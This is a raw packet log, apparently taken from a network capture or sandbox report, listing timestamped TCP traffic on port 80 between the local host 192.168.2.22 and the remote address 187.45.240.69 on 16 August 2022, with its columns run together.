                                                              Aug 16, 2022 10:33:15.744471073 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744488955 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744493008 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744507074 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744515896 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744524956 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744559050 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744602919 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744626999 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744647980 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744666100 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744693041 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744714975 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744739056 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744755983 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744771957 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744791031 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:15.744795084 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.744863033 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.777661085 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.869558096 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:15.898076057 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081686020 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081748009 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081789017 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081829071 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081835032 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081870079 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081870079 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081877947 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081912994 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081926107 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081954956 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.081957102 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.081994057 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.082004070 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.082050085 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.084265947 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.109937906 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.109994888 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110040903 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110043049 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110076904 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110085011 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110085011 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110136986 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110177040 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110189915 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110218048 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110265970 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110272884 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110310078 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110344887 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.110371113 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.110383987 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.112812042 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.114603996 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.296924114 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.296948910 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.297017097 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.297056913 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.299506903 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.326256990 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326328039 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326371908 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326409101 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326452971 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326472044 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.326498985 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.326545000 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.375350952 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511286974 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511316061 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511332989 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511369944 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511393070 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511441946 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511467934 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511470079 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511496067 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511511087 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511519909 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511523962 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511528969 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511534929 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511549950 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511550903 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511578083 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511589050 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511603117 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511603117 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511630058 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511634111 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511656046 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511660099 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511681080 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511682987 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511706114 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511723995 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511730909 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511744022 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511755943 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511758089 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511775017 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511785030 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511807919 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511810064 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511831999 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511856079 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.511868954 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.511912107 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.513107061 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.513128042 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.551914930 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.587798119 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.587865114 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.587904930 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.587943077 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.587948084 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.587979078 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.587985039 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.587986946 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.587991953 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588027000 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588037968 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588068008 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588093042 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588121891 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588138103 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588216066 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588241100 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588258028 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588265896 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588299036 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588313103 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588339090 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588351965 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588381052 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588395119 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588413954 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.588444948 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.588463068 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.590131998 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.593230963 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.763968945 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764017105 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764055967 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764060974 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764096975 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764105082 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764127016 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764152050 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764163971 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764194965 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764214993 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764241934 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764256001 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764286041 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764301062 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764327049 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764345884 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764368057 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764386892 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764414072 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764419079 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764455080 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764475107 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764497042 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764514923 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764534950 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764539003 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764580965 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764600992 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764626980 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764635086 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764664888 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.764683962 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.764705896 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.767292023 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:16.805428982 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:16.805573940 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:21.772147894 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:21.772413969 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:21.809658051 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:21.809760094 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:24.994978905 CEST4919880192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:24.996656895 CEST4919780192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.007535934 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.008265018 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.208030939 CEST8049198187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.212816000 CEST8049197187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.241441011 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.242036104 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.242630959 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.247313023 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.247479916 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.248636961 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481228113 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481443882 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481489897 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481530905 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481569052 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481573105 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481586933 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481612921 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481625080 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481628895 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481654882 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481695890 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481709957 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481714010 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481734991 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481775045 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481794119 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481797934 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481816053 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.481869936 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.481873989 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.485385895 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485527992 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485569000 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485609055 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.485652924 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.485699892 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485764027 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.485817909 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485889912 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.485893965 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.485959053 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486011028 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.486082077 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.486082077 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486146927 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486191034 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.486259937 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486300945 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.486363888 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486457109 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.486521006 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.486604929 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.490112066 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.713371038 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713416100 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713437080 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713459015 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713481903 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713506937 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713514090 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.713531017 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.713555098 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.713558912 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.714885950 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727073908 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727152109 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727175951 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727269888 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727293968 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727319956 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727327108 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727333069 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727366924 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727551937 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727632046 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727667093 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727735043 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727744102 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727782965 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727794886 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727844000 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727848053 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727894068 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727901936 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.727951050 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.727957010 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728001118 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728010893 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728056908 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728070021 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728113890 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728127956 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728173018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728183031 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728226900 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728231907 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728276014 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728290081 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728332043 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728343010 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728388071 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.728400946 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.728445053 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.740473986 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.749346018 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968034983 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968092918 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968113899 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968135118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968202114 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968288898 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968308926 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968322992 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968333960 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968434095 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968466043 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968492031 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968513012 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968527079 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968533039 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968540907 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968553066 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968561888 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968573093 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968592882 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968594074 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968600988 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968611956 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968620062 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968631983 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968640089 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968651056 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968662977 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968669891 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968672991 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968689919 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968698978 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968708992 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968719959 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968729019 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968749046 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968750954 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968758106 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:25.968770027 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:25.968789101 CEST8049201187.45.240.69192.168.2.22
